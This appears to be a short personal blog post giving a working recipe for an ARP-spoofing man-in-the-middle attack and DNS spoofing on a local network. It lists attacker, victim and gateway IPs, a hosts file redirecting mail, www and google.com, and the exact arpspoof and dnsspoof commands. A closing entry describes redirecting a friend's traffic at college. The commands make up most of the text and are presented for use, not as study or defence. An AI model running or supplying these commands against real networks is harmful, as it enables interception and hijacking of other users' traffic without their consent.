#dnsspoof

[nvjkmr]

DNS spoofing

This may not always work but will at least block the user from using the Internet.

Assumptions:

Attacker/Our IP: 192.168.1.51

Victim IP: 192.168.1.240

Default Route / Gateway IP: 192.168.1.1

Create a file hosts in your current working directory with the following content:

192.168.1.100 mail* 192.168.1.100 www* 192.168.1.100 google.com

Now, the first thing we do is an MITM attack. Here, we keep telling the router that our IP is victim’s IP and keep it in this misconception so that, the information which has to be sent to victim will be sent to our IP and vice versa.

We do this using this command:

sudo arpspoof -t 192.168.1.1 192.168.1.240

sudo arpspoof -t 192.168.1.240 192.168.1.1

Now we DNS spoof using dnspoof:

sudo dnsspoof -f hosts host 192.168.1.240

[nvjkmr]

Man-In-The-Middle

Today in my college I’ve demonstrated a basic MITM attack with the help of arpspoof and further used dnsspoof to hijack the DNS lookup queries. I’d say it was totally fun redirecting my friend to my localhost server. I will post the screenshot of the redirected homepage in the next post.